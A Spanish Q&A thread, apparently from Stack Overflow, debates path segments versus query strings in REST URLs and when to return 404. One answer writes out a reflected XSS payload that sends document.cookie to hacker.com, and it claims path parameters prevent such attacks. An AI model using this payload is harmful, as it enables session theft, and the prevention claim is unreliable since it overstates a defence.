2010-09-29 19 views
66

Tuve una conversación con un colega hoy sobre el uso de cadenas de consulta en URL REST. Tome estos 2 ejemplos:Querystring en URL de recurso REST

1. http://localhost/findbyproductcode/4xxheua 
2. http://localhost/findbyproductcode?productcode=4xxheua 

Mi postura era las direcciones URL deben diseñarse como en el ejemplo 1. Esto es más limpio y lo que creo que es correcto dentro de REST. En mi opinión, sería completamente correcto devolver un error 404 del ejemplo 1 si el código del producto no existía, mientras que con el ejemplo 2, devolver un 404 sería incorrecto ya que la página debería existir. Su postura era que realmente no importaba y que los dos hacen lo mismo.

Como ninguno de nosotros fue capaz de encontrar evidencia concreta (sin duda mi búsqueda no fue extensa) me gustaría saber las opiniones de otras personas al respecto.

+0

Gracias por todas las respuestas populares. Ahora ha admitido que la opción uno es mejor que la opción 2 con algo más de lectura/investigación. – pythonandchips

+22

Tenga en cuenta que los recursos en REST deben ser sustantivos y no verbos. "Buscar por código de producto" es por lo tanto inapropiado en primer lugar. – fletom

Respuesta

44

En las API REST típicas, el ejemplo n. ° 1 es más correcto. Los recursos se representan como URI y # 1 hace eso más. Devolver un 404 cuando no se encuentra el código del producto es absolutamente el comportamiento correcto. Una vez dicho esto, yo modifico # 1 poco a ser un poco más expresivo de esta manera:

http://localhost/products/code/4xheaua 

mirada a otras API REST bien diseñados - por ejemplo, miro StackOverflow. Usted tiene:

stackoverflow.com/questions 
stackoverflow.com/questions/tagged/rest 
stackoverflow.com/questions/3821663 

Estas son todas formas diferentes de obtener "preguntas".

+8

+1 porque findbyproductcode es más verbo que sustantivo; es una llamada RPC, no un recurso. Sin embargo, creo que la pregunta cambia un poco, y la respuesta también, cuando tienes más de un criterio de búsqueda en lugar de solo el código del producto./products? size = {size} & color = {color}. Me interesaría tu opinión sobre eso. – ScottCher

+28

Yo diría: si * code *, '4xheaua', es ** la ** identificación del producto, entonces será mejor que vaya con' domain/products/4xheaua'. En cambio, si * code * es solo uno de los muchos criterios de búsqueda, entonces iría con 'domain/products? Code = 4xheaua'. – superjos

+1

Agregaré que las partes de ruta adicionales deben expresar una relación jerárquica similar a un directorio. Esto, creo, es el principio subyacente de lo que dijo @superjos (+1). Pero, no todos los recursos tienen ID, por lo que es un poco más general. – wprl

80

No hay diferencia entre los dos URI desde la perspectiva del cliente. Los URI son opacos para el cliente. Utilice los mapas más limpios en su infraestructura del lado del servidor.

En lo que respecta a REST, no hay absolutamente ninguna diferencia. Creo que la razón por la que muchas personas creen que es sólo el componente de ruta que identifica el recurso se debe a la siguiente línea en RFC 2396

El componente de consulta es una cadena de información para ser interpretada por el recurso.

Esta línea se cambió más tarde en RFC 3986 ser:

El componente de consulta contiene datos no jerárquica que, junto con datos en el componente de trazado (Sección 3,3), sirve para identificar un recurso

En mi humilde opinión esto significa que tanto la cadena de consulta como el segmento de ruta son funcionalmente equivalentes a la hora de identificar un recurso.


Actualizar a la dirección Steve's comment.

Perdóname si me opongo al adjetivo "limpiador". Es demasiado subjetivo. Sin embargo, tienes razón en que me perdí una parte importante de la pregunta.

Creo que la respuesta a si devolver 404 depende de qué recursos se están recuperando. ¿Es una representación de un resultado de búsqueda, o es una representación de un producto? Para saber esto, realmente necesitas ver la relación de enlace que nos llevó a la URL.

Si se supone que la URL debe devolver una representación del Producto, se debe devolver 404 si el código no existe. Si la URL devuelve un resultado de búsqueda, no debería devolver un 404.

El resultado final es que el aspecto de la URL no es determinante. Una vez dicho esto, es una convención que las cadenas de consulta se utilicen para devolver los resultados de búsqueda, por lo que es más intuitivo utilizar ese estilo de URL cuando no desee devolver 404s.

+12

Citar la especificación RFC está bien, pero esa no es exactamente la pregunta que se hace. Sí, los dos ejemplos son funcionalmente equivalentes, eso no está en disputa. La pregunta va más allá de la "definición" de libro de texto de un recurso (para lo cual ambos se aplican). A su pregunta, ¿qué sucederá si el código en la cadena de consulta no está allí? 404? ¿Qué pasa con el aspecto "más limpio" de su pregunta? Ambos son "válidos", sí, pero en mi humilde opinión, el # 1 es "más limpio" y más en línea con lo que está buscando (junto con mi respuesta a continuación con StackOverflow). –

+2

@Steve Ver respuesta actualizada. –

+5

Estoy de acuerdo con la comparación que proporcionó en su respuesta actualizada. cadena de consulta tiene sentido para un resultado de búsqueda sin 404s. Para un código de producto (según esta pregunta) 404 tiene sentido y la OMI es más común que no se use cadena de consulta para este escenario. Gracias por la respuesta actualizada. –

3

La terminación de esos dos URI no es muy significativa RESTfully.

Sin embargo, la porción 'findbyproductcode' podría ser más tranquila. ¿Por qué no solo http://localhost/product/4xxheau?

En mi experiencia limitada, si tiene un identificador único, se vería limpio para construir el URI como .../product/{id} Sin embargo, si el código del producto no es único, entonces podría diseñarlo más como # 2.

Sin embargo, como Darrel ha observado, al cliente no le debe importar cómo se ve el URI.

+0

+1 para "si el código del producto no es único". Sería algo contrario a la intuición escribir, p. 'http: // www.google.com/search/democracy' en lugar de' http: //www.google.com/search? q = democracy' ... ¿o es solo nuestro hábito? – osa

4

IMO el componente de ruta siempre debe indicar lo que desea recuperar. Una URL como http://localhost/findbyproductcode solo dice que quiero recuperar algo por código de producto, pero ¿qué es exactamente?

Para que pueda recuperar contactos con http://localhost/contacts y usuarios con http://localhost/users. La cadena de consulta solo se usa para recuperar un subconjunto de dicha lista en función de los atributos del recurso. La única excepción a esto es cuando este subconjunto se reduce a un registro basado en la clave principal, luego utiliza algo como http: // localhost/contact/[primary_key].

Esa es mi enfoque, su experiencia puede variar :)

2

La cadena de consulta es inevitable en muchos sentidos prácticos .... Considere qué pasaría si VE especifican la búsqueda múltiples permitido (opcional) a todos los campos. En la primera forma, sus posiciones en la jerarquía tendrían que ser arregladas y rellenas ...

Imagine la codificación de una cláusula "where" de SQL general en ese formato ... Sin embargo, como una cadena de consulta, es bastante simple .

1

Por el cliente REST, la estructura del URI no importa, porque sigue enlaces anotados con semántica, y nunca analiza el URI.

Por parte del desarrollador que escribe la lógica de enrutamiento y la lógica de generación de enlace, y probablemente quiera comprender el registro revisando las URL, la estructura del URI sí importa. Con REST, asignamos los URI a los recursos y no a las operaciones: Fielding dissertation/uniform interface/identification of resources.

Por lo tanto, ambas estructuras de URI son probablemente defectuosas, ya que contienen verbos en su formato actual.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Puede eliminar find de la URI de esta manera:

1. /products/code:4xxheua
2. /products?code="4xxheua"

Desde una perspectiva REST, no importa cuál elija.

Puede definir su propia convención de nomenclatura, por ejemplo: "reduciendo la recopilación a un solo recurso utilizando un identificador único, el identificador exclusivo debe ser siempre parte de la ruta y no de la consulta". Esto es exactamente lo que indica el estándar URI: la ruta es jerárquica, la consulta no es jerárquica. Entonces usaría /products/code:4xxheua.

1

Filosóficamente hablando, las páginas no "existen". Cuando pones libros o papeles en tu estante, permanecen allí. Ellos tienen una existencia separada en ese estante. Sin embargo, una página existe solo mientras esté alojada en alguna computadora que esté encendida y pueda proporcionarla bajo demanda. La página puede, por supuesto, generarse siempre sobre la marcha, por lo que no necesita tener una existencia especial antes de su solicitud.

Ahora piense en ello desde el punto de vista del servidor. Supongamos que es, por ejemplo, Apache configurado correctamente --- no es un servidor de una línea de python simplemente asignando todas las solicitudes al sistema de archivos. Entonces la ruta particular especificada en la URL puede no tener nada que ver con la ubicación de un archivo en particular en el sistema de archivos. Entonces, una vez más, una página no "existe" en ningún sentido claro. Tal vez solicite http://some.url/products/intel.html, y obtiene una página; luego solicita http://some.url/products/bigmac.html, y no ve nada. No significa que hay un archivo, pero no el otro. Es posible que no tenga permisos para acceder al otro archivo, por lo que el servidor devuelve 404, o tal vez bigmac.html iba a ser servido desde un servidor Mc'Donalds remoto, que está temporalmente inactivo.

Lo que trato de explicar es decir, 404 es sólo un número. No tiene nada de especial: podría haber sido 40404 o -2349.23847, acabamos de aceptar usar 404. Significa que el servidor está allí, se comunica con usted, probablemente entendió lo que quería y no tiene nada que devolverle. Si cree que es apropiado devolver 404 para http://some.url/products/bigmac.html cuando el servidor decida no entregar el archivo por algún motivo, entonces también puede aceptar devolver 404 para http://some.url/products?id=bigmac.

Ahora, si quiere ser útil para usuarios con un navegador que intentan editar manualmente la URL, puede redirigirlos a una página con la lista de todos los productos y algunas capacidades de búsqueda en lugar de solo darles un 404 --- o puede dar un 404 como un código y un enlace a todos los productos. Pero luego, puede hacer lo mismo con http://some.url/products/bigmac.html: redirigir automáticamente a una página con todos los productos.

2

Esta pregunta está deticada, ¿cuál es el enfoque más limpio. Pero quiero centrarme en un aspecto diferente, llamado seguridad. Cuando empecé a trabajar intensamente en la seguridad de las aplicaciones, descubrí que un ataque XSS reflejado se puede evitar con éxito utilizando PathParams (appraoch 1) en lugar de QueryParams (acercamiento 2).

(Por supuesto, el requisito previo de un ataque XSS reflejado es que la entrada del usuario malicioso se refleja de vuelta dentro de la fuente HTML al cliente. Por desgracia alguna aplicación va a hacer eso, y esta es la razón por PathParams puede prevenir ataques XSS)

La razón por la que esto funciona es porque la carga útil XSS en combinación con PathParams dará como resultado una ruta de URL desconocida e indefinida debido a las barras inclinadas dentro de la carga útil.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Mientras que este ataque tenga éxito mediante el uso de un QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script> 
9

Hay dos casos de uso para consiguen

  1. Consigue un recurso identificado de forma única
  2. Búsqueda de recursos (s) sobre la base de criterios dados

de casos de uso 1 Ejemplo:

/pro ductos/4xxheua
Obtenga un producto identificado de manera única, devuelve 404 si no se encuentra.

Caso de uso 2 Ejemplo:?

/productos size = color de gran tamaño & = rojo
Búsqueda de un producto, la lista de productos a juego regresa (0 a muchos).

Si miramos, por ejemplo, la API de Google Maps, podemos ver que utilizan una cadena de búsqueda para la búsqueda.

p. Ej. http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Por lo tanto, ambos estilos son válidos para casos de uso propio.

1

De la forma en que lo pienso, la ruta URI define el recurso, mientras que las querystrings opcionales proporcionan información definida por el usuario. Así

https://domain.com/products/42 

identifica un producto en particular, mientras que

https://domain.com/products?price=under+5 

podría buscar productos en $ 5.

No estoy de acuerdo con aquellos que dijeron que el uso de querystrings para identificar un recurso es consistente con REST. Gran parte de REST está creando una API que imita un sistema de archivos jerárquico estático (sin necesitar literalmente dicho sistema en el back-end), esto hace que los identificadores de recursos semánticos sean intuitivos. Querystrings rompe esta jerarquía. Por ejemplo, los relojes son un accesorio que tiene accesorios.En el estilo REST que está bastante claro lo que

https://domain.com/accessories/watches 

y

https://domain.com/watches/accessories 

se refieren cada uno a. Con querystrings,

https://domain.com?product=watches&category=accessories 

no es muy claro.

Por lo menos, el estilo REST es mejor que las cadenas de consulta porque requiere aproximadamente la mitad de la información, ya que un orden fuerte de los parámetros nos permite eliminar los nombres de los parámetros.

+1

Brillante respuesta. Estoy de acuerdo completamente. Solo agregaría que las cadenas de consulta aún deberían usarse en 3 situaciones: (i) Paginación. Ejemplo: domain.com/accessories/watches?page=1 (ii) Atributos de filtrado: domain.com/accessories/watches?fields=maker,model,price (iii) Criterios de búsqueda: domain.com/accessories/watches?price = LE + 100 –

Cuestiones relacionadas